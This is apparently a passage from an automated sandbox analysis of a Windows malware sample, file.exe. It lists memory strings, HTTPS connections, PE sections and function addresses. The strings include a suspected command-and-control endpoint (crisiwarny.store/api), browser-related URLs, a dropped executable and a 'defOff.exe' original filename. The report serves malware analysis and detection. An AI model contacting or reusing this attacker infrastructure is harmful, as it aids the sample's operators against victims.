Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1566909072.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.s
Source: file.exe, 00000000.00000003.1581702066.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1582388699.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724509005.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516669230.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1566593101.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Hy
Source: file.exe, 00000000.00000003.1722841252.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722535596.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1582388699.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724772459.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1581573293.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.1581573293.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api/
Source: file.exe, 00000000.00000003.1593633698.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722535596.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724772459.0000000000E15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiAE
Source: file.exe, 00000000.00000003.1593633698.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722535596.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724772459.0000000000E15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apit
Source: file.exe, 00000000.00000003.1548543584.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/au
Source: file.exe, 00000000.00000003.1548543584.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/e
Source: file.exe, 00000000.00000003.1516669230.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/o
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: file.exe, 00000000.00000003.1550064219.000000000566F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49713 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name:
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E195CF	0_3_00E195CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D8D9F2	0_3_00D8D9F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAB282	0_3_00DAB282
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAB2AF	0_3_00DAB2AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087EC20	0_2_0087EC20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088104F	0_2_0088104F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00880460	0_2_00880460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E1A0	0_2_0087E1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008979B0	0_2_008979B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088D7F8	0_2_0088D7F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0089AB20	0_2_0089AB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087F755	0_2_0087F755
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008814CE	0_2_008814CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008930E0	0_2_008930E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008910FF	0_2_008910FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AB0F0	0_2_008AB0F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00875000	0_2_00875000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088D010	0_2_0088D010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088CC20	0_2_0088CC20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088E837	0_2_0088E837
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B5040	0_2_008B5040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00878460	0_2_00878460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088E07E	0_2_0088E07E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00886997	0_2_00886997
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087ADB0	0_2_0087ADB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008865D7	0_2_008865D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008791E9	0_2_008791E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00891100	0_2_00891100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00876D10	0_2_00876D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0089091E	0_2_0089091E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00873930	0_2_00873930
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088ED48	0_2_0088ED48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087BD50	0_2_0087BD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087DA80	0_2_0087DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AAE90	0_2_008AAE90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B3A90	0_2_008B3A90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00891EC5	0_2_00891EC5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00878EF0	0_2_00878EF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00873886	0_2_00873886
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00884A4C	0_2_00884A4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088FA4F	0_2_0088FA4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00883E45	0_2_00883E45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087A260	0_2_0087A260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0089CBD0	0_2_0089CBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00879FF5	0_2_00879FF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087A720	0_2_0087A720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00877B67	0_2_00877B67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087DF60	0_2_0087DF60
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Code function: 3_2_00565966	3_2_00565966
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Code function: 3_2_006E3F65	3_2_006E3F65

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0087C890 appears 40 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0087E190 appears 76 times

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1701039280.0000000005BAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1705478317.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1703625316.0000000005BB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698641777.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692604897.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1691903804.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696832744.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694668153.0000000005B4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698281938.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692515448.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1702724946.0000000005BAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688991847.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692422559.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688750570.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697989986.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693057445.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693871949.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1706626900.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1691807943.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1699260433.0000000005CC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697493022.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1703978099.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696165061.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1706178582.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698879077.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689072701.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689140816.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1706476622.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1700495358.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695741172.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1706060227.0000000005D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693152717.0000000005B30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697876289.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695528867.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692219289.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694475374.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688831240.0000000005B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697274192.0000000005B72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696061769.0000000005A74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722448530.00000000055D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693343064.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1699382892.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692966752.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694373069.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688910463.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696386807.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698761229.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693777935.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692700257.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1705313804.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692145020.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1701908203.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695952801.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694162065.0000000005B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1703358373.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695850243.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698522844.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694261262.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694771183.0000000005A74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1705161156.0000000005BB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1704207586.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
